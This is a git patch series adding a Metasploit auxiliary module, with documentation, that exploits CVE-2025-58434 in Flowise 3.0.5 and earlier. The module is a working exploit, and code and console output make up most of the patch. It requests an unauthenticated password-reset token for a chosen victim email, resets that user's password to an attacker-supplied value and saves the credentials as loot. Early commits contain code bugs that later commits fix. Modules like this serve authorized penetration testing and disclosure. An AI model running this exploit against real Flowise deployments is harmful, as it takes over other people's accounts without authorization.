From 78406f72a85b540130370d29cfe57c08b83832f0 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 19:01:38 -0400 Subject: [PATCH 1/8] Adding initial implementation and documentation --- .../flowise_auth_bypass_cve_2025_58434.md | 63 ++++++++ .../flowise_auth_bypass_cve-2025-58434.rb | 145 ++++++++++++++++++ 2 files changed, 208 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md create mode 100644 modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb diff --git a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md new file mode 100644 index 0000000000000..5f8a8d0e6d705 --- /dev/null +++ b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md @@ -0,0 +1,63 @@ +## Vulnerable Application + +In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including +a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset +token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). + +The vulnerability affects: + + * flowise <= 3.0.5 + +This module was successfully tested on: + + * flowise 3.0.4 installed with Docker + + +### Installation +1. Pull & run a Flowise docker container (v3.0.4) in your VM. + ``` + docker run -d \ + --name flowise \ + --network flowise-net \ + -p 3000:3000 \ + -e SMTP_HOST=mailhog \ + -e SMTP_PORT=1025 \ + -e SMTP_SECURE=false \ + -e SMTP_USER=test \ + -e SMTP_PASSWORD=test \ + -v flowise-data:/root/.flowise \ + flowiseai/flowise:3.0.4 + ``` +2. Pull and run Mailwise docker container in your VM. + ``` + docker run -d \ + --name mailhog \ + --network flowise-net \ + -p 1025:1025 \ + -p 8025:8025 \ + mailhog/mailhog + ``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434` +4. Do: `run lhost= rhost= email= newpassword=` +5. You should get a status success message + + +## Options + +### EMAIL (required) + +Email address of the Flowise user who's password is to be reset + +### NEWPASSWORD (required) + +The new password of the targeted Flowise user. +NOTE: Flowise does not accept empty strings as passwords. + + +## Scenarios diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb new file mode 100644 index 0000000000000..d09c44169ee30 --- /dev/null +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise Authentication Bypass', + 'Description' => %q{ + In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including + a valid password reset `tempToken` without authentication or verification. + This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a + complete account takeover (ATO). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard howe ', + ], + 'References' => [ + ['CVE', '2025-58434'], + ['EDB', '52557'], + ['URL', 'https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph'] + ], + 'DisclosureDate' => '2025-09-12', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [], + } + ) + ) + + register_options( + [ + Opt::RPORT(3000), + OptString.new('EMAIL', [ true, 'The email address of victim user', 'admin@local' ]), + OptString.new('NEWPASSWORD', [ true, 'The new password assigned to the victim user', 'password123' ]), + OptBool.new('TARGETURI', [ true, 'Base path of the Ray Dashboard', '/' ]), + ] + ) + end + + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + }) + + + unless res && res.code == 200 + return Exploit::CheckCode::Unknown( + 'No response or unexpected status from Flowise API' + ) + end + + flow_version = res.get_json_document['version'] + + unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5') + return Exploit::CheckCode::Safe( + "Flowise version #{flow_version} is not vulnerable" + ) + end + + Exploit::CheckCode::Appears( + "Flowise version #{flow_version} is in the vulnerable range" + ) + end + + + def get_reset_token(email) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/account/forgot-password'), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => { + 'user' => {"email": "#{email}"} + }.to_json + } + ) + fail_with(Failure::Unknown, 'Unexpected server reply.') res&.code == 201 + res.get_json_document['user']['tempToken'] + end + + + def reset_password(email, token, password) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/account/reset-password'), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => { + 'user' => {"email" => "#{email}", "tempToken" => "#{token}", "password" => "password"} + }.to_json + } + ) + fail_with(Failure::Unknown, 'Unexpected server reply.') res&.code == 201 + end + +def run + email = datastore['EMAIL'] + reset_token = get_reset_token(email) + new_password = datastore['NEWPASSWORD'] + + + if reset_token.empty? + fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') + end + + reset_password(email, reset_token, new_password) + + + loot = { + "email" => email, + "password" => new_password + }.to_json + + loot_path = store_loot( + 'flowise.files', + 'text/plain', + rhost, + loot, + 'flowise.txt', + 'Flowise login credentials retrieved via unauthenticated user password reset' + ) + + print_good("Loot stored in: #{loot_path}") + end +end + + From eb2198575c9a342951b5658c54695e59417aa5f0 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 20:06:52 -0400 Subject: [PATCH 2/8] Ran msftidy and msftidy_docs --- .../flowise_auth_bypass_cve_2025_58434.md | 46 ++++++------- ... => flowise_auth_bypass_cve_2025_58434.rb} | 68 ++++++++----------- 2 files changed, 53 insertions(+), 61 deletions(-) rename modules/auxiliary/gather/{flowise_auth_bypass_cve-2025-58434.rb => flowise_auth_bypass_cve_2025_58434.rb} (71%) diff --git a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md index 5f8a8d0e6d705..ae2fc4ba1a1ac 100644 --- a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md +++ b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md @@ -1,7 +1,7 @@ ## Vulnerable Application In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including -a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset +a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). The vulnerability affects: @@ -15,28 +15,28 @@ This module was successfully tested on: ### Installation 1. Pull & run a Flowise docker container (v3.0.4) in your VM. - ``` - docker run -d \ - --name flowise \ - --network flowise-net \ - -p 3000:3000 \ - -e SMTP_HOST=mailhog \ - -e SMTP_PORT=1025 \ - -e SMTP_SECURE=false \ - -e SMTP_USER=test \ - -e SMTP_PASSWORD=test \ - -v flowise-data:/root/.flowise \ - flowiseai/flowise:3.0.4 - ``` +``` +docker run -d \ +--name flowise \ +--network flowise-net \ +-p 3000:3000 \ +-e SMTP_HOST=mailhog \ +-e SMTP_PORT=1025 \ +-e SMTP_SECURE=false \ +-e SMTP_USER=test \ +-e SMTP_PASSWORD=test \ +-v flowise-data:/root/.flowise \ +flowiseai/flowise:3.0.4 +``` 2. Pull and run Mailwise docker container in your VM. - ``` - docker run -d \ - --name mailhog \ - --network flowise-net \ - -p 1025:1025 \ - -p 8025:8025 \ - mailhog/mailhog - ``` +``` +docker run -d \ +--name mailhog \ +--network flowise-net \ +-p 1025:1025 \ +-p 8025:8025 \ +mailhog/mailhog +``` ## Verification Steps @@ -45,7 +45,7 @@ This module was successfully tested on: 2. Start msfconsole 3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434` 4. Do: `run lhost= rhost= email= newpassword=` -5. You should get a status success message +5. You should get a status success message indicating that the new username and password have been stored to loot. ## Options diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb similarity index 71% rename from modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb rename to modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index d09c44169ee30..e1c413cdce5c0 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve-2025-58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -18,23 +18,23 @@ def initialize(info = {}) 'Description' => %q{ In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. - This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a + This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). }, 'License' => MSF_LICENSE, 'Author' => [ - 'Richard howe ', + 'Richard howe ', ], 'References' => [ ['CVE', '2025-58434'], ['EDB', '52557'], - ['URL', 'https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph'] + ['GHSA', 'wgpv-6j63-x5ph'] ], 'DisclosureDate' => '2025-09-12', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], - 'Reliability' => [], + 'Reliability' => [] } ) ) @@ -49,14 +49,12 @@ def initialize(info = {}) ) end - def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') }) - unless res && res.code == 200 return Exploit::CheckCode::Unknown( 'No response or unexpected status from Flowise API' @@ -76,7 +74,6 @@ def check ) end - def get_reset_token(email) res = send_request_cgi( { @@ -86,16 +83,15 @@ def get_reset_token(email) 'Content-Type' => 'application/json' }, 'data' => { - 'user' => {"email": "#{email}"} + 'user' => { email: email.to_s } }.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply.') res&.code == 201 + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res && res.code == 201 res.get_json_document['user']['tempToken'] end - - def reset_password(email, token, password) + def reset_password(email, token, _password) res = send_request_cgi( { 'method' => 'POST', @@ -104,42 +100,38 @@ def reset_password(email, token, password) 'Content-Type' => 'application/json' }, 'data' => { - 'user' => {"email" => "#{email}", "tempToken" => "#{token}", "password" => "password"} + 'user' => { 'email' => email.to_s, 'tempToken' => token.to_s, 'password' => 'password' } }.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply.') res&.code == 201 + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res && res.code == 201 end -def run - email = datastore['EMAIL'] - reset_token = get_reset_token(email) - new_password = datastore['NEWPASSWORD'] - - - if reset_token.empty? - fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') - end + def run + email = datastore['EMAIL'] + reset_token = get_reset_token(email) + new_password = datastore['NEWPASSWORD'] - reset_password(email, reset_token, new_password) + if reset_token.empty? + fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') + end + reset_password(email, reset_token, new_password) - loot = { - "email" => email, - "password" => new_password - }.to_json + loot = { + 'email' => email, + 'password' => new_password + }.to_json - loot_path = store_loot( - 'flowise.files', - 'text/plain', - rhost, - loot, - 'flowise.txt', - 'Flowise login credentials retrieved via unauthenticated user password reset' - ) + loot_path = store_loot( + 'flowise.files', + 'text/plain', + rhost, + loot, + 'flowise.txt', + 'Flowise login credentials retrieved via unauthenticated user password reset' + ) - print_good("Loot stored in: #{loot_path}") + print_good("Password reset successful. Loot stored in: #{loot_path}") end end - - From 3d6498e092bfc7209c3d98c2ead9db102db01f98 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 20:14:48 -0400 Subject: [PATCH 3/8] Fixing issue with register_options --- modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index e1c413cdce5c0..f0936649ed378 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -44,7 +44,7 @@ def initialize(info = {}) Opt::RPORT(3000), OptString.new('EMAIL', [ true, 'The email address of victim user', 'admin@local' ]), OptString.new('NEWPASSWORD', [ true, 'The new password assigned to the victim user', 'password123' ]), - OptBool.new('TARGETURI', [ true, 'Base path of the Ray Dashboard', '/' ]), + OptString.new('TARGETURI', [ true, 'Base path of the Ray Dashboard', '/' ]), ] ) end From 61ce6c89723d84fd54ec35eabd24ec0fcf0c003e Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 20:20:50 -0400 Subject: [PATCH 4/8] Fixing issue with register_options --- modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index f0936649ed378..65b343cdada04 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -42,9 +42,9 @@ def initialize(info = {}) register_options( [ Opt::RPORT(3000), + OptString.new('TARGETURI', [ true, 'Base path of the Flowise dashboard', '/' ]), OptString.new('EMAIL', [ true, 'The email address of victim user', 'admin@local' ]), OptString.new('NEWPASSWORD', [ true, 'The new password assigned to the victim user', 'password123' ]), - OptString.new('TARGETURI', [ true, 'Base path of the Ray Dashboard', '/' ]), ] ) end From defe5f13135f0fa0d8b0b38863ce22144d6ab48b Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 21:09:34 -0400 Subject: [PATCH 5/8] Polishing up documentation and implementation --- .../flowise_auth_bypass_cve_2025_58434.md | 18 +++++++++++++++++- .../flowise_auth_bypass_cve_2025_58434.rb | 18 ++++++++++++------ 2 files changed, 29 insertions(+), 7 deletions(-) diff --git a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md index ae2fc4ba1a1ac..bfe0cde1343ce 100644 --- a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md +++ b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md @@ -52,7 +52,7 @@ mailhog/mailhog ### EMAIL (required) -Email address of the Flowise user who's password is to be reset +Email address of the Flowise user whose password is to be reset ### NEWPASSWORD (required) @@ -61,3 +61,19 @@ NOTE: Flowise does not accept empty strings as passwords. ## Scenarios +``` +msf > use auxiliary/gather/flowise_auth_bypass_cve_2025_58434 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set RHOSTS 192.168.1.30 +RHOSTS => 192.168.1.30 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set EMAIL admin@local.com +EMAIL => admin@local.com +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set NEWPASSWORD password123 +NEWPASSWORD => password123 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > run +[*] Running module against 192.168.1.30 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Flowise version 3.0.4 is in the vulnerable range +[+] Password reset successful. Loot stored in: /home/richard/.msf4/loot/20260806210741_default_192.168.1.30_flowise.files_888141.txt +[*] Auxiliary module execution completed +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > +``` diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index 65b343cdada04..d65f08a647754 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -83,15 +83,18 @@ def get_reset_token(email) 'Content-Type' => 'application/json' }, 'data' => { - 'user' => { email: email.to_s } + 'user' => { + email: email + } }.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply.') unless res && res.code == 201 + + fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res && res.code == 201 res.get_json_document['user']['tempToken'] end - def reset_password(email, token, _password) + def reset_password(email, token, password) res = send_request_cgi( { 'method' => 'POST', @@ -100,22 +103,25 @@ def reset_password(email, token, _password) 'Content-Type' => 'application/json' }, 'data' => { - 'user' => { 'email' => email.to_s, 'tempToken' => token.to_s, 'password' => 'password' } + 'user' => { 'email' => email, 'tempToken' => token, 'password' => password } }.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply.') unless res && res.code == 201 + fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res && res.code == 201 end def run email = datastore['EMAIL'] - reset_token = get_reset_token(email) new_password = datastore['NEWPASSWORD'] + # Request reset token + reset_token = get_reset_token(email) + if reset_token.empty? fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') end + # Reset user password reset_password(email, reset_token, new_password) loot = { From 3e98c651668cf50735b59d48f1c4db008f8a6b3b Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 6 Aug 2026 21:23:24 -0400 Subject: [PATCH 6/8] Fixing discrepancy in documentation --- .../auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md index bfe0cde1343ce..a3c92b67adb66 100644 --- a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md +++ b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md @@ -44,7 +44,7 @@ mailhog/mailhog 1. Install the application 2. Start msfconsole 3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434` -4. Do: `run lhost= rhost= email= newpassword=` +4. Do: `run rhost= email= newpassword=` 5. You should get a status success message indicating that the new username and password have been stored to loot. From 8c03ea9527c66c2ea6f265fdc89c52333352d4b1 Mon Sep 17 00:00:00 2001 From: development Date: Fri, 7 Aug 2026 08:11:20 -0400 Subject: [PATCH 7/8] Updating implementation based on reviewer feedback --- .../flowise_auth_bypass_cve_2025_58434.rb | 41 +++++++++++-------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index d65f08a647754..d53c242b332c0 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -1,6 +1,5 @@ ## # This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' @@ -23,7 +22,9 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'Richard howe ', + 'Richard Howe', + 'Isaac David', + 'Arthur Gervais' ], 'References' => [ ['CVE', '2025-58434'], @@ -32,8 +33,8 @@ def initialize(info = {}) ], 'DisclosureDate' => '2025-09-12', 'Notes' => { - 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) @@ -42,20 +43,22 @@ def initialize(info = {}) register_options( [ Opt::RPORT(3000), - OptString.new('TARGETURI', [ true, 'Base path of the Flowise dashboard', '/' ]), - OptString.new('EMAIL', [ true, 'The email address of victim user', 'admin@local' ]), - OptString.new('NEWPASSWORD', [ true, 'The new password assigned to the victim user', 'password123' ]), + OptString.new('TARGETURI', [true, 'Base path of the Flowise dashboard', '/']), + OptString.new('EMAIL', [true, 'The email address of victim user', 'admin@local']), + OptString.new('NEWPASSWORD', [true, 'The new password assigned to the victim user', 'password123']) ] ) end def check - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api/v1/version') - }) + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) - unless res && res.code == 200 + unless res&.code == 200 return Exploit::CheckCode::Unknown( 'No response or unexpected status from Flowise API' ) @@ -90,8 +93,9 @@ def get_reset_token(email) } ) - fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res && res.code == 201 - res.get_json_document['user']['tempToken'] + fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res&.code == 201 + + res.get_json_document.dig('user', 'tempToken') end def reset_password(email, token, password) @@ -103,11 +107,16 @@ def reset_password(email, token, password) 'Content-Type' => 'application/json' }, 'data' => { - 'user' => { 'email' => email, 'tempToken' => token, 'password' => password } + 'user' => { + 'email' => email, + 'tempToken' => token, + 'password' => password + } }.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res && res.code == 201 + + fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res&.code == 201 end def run From f018893e99c26681b90322419b35aa1ad1f97216 Mon Sep 17 00:00:00 2001 From: development Date: Fri, 7 Aug 2026 08:13:21 -0400 Subject: [PATCH 8/8] Updating implementation based on reviewer feedback --- .../auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb index d53c242b332c0..cb44a0ceddc26 100644 --- a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -22,9 +22,9 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'Richard Howe', - 'Isaac David', - 'Arthur Gervais' + 'Richard Howe', # Metasploit module + 'Isaac David', # Discovered vulnerability + 'Arthur Gervais' # Discovered vulnerability ], 'References' => [ ['CVE', '2025-58434'],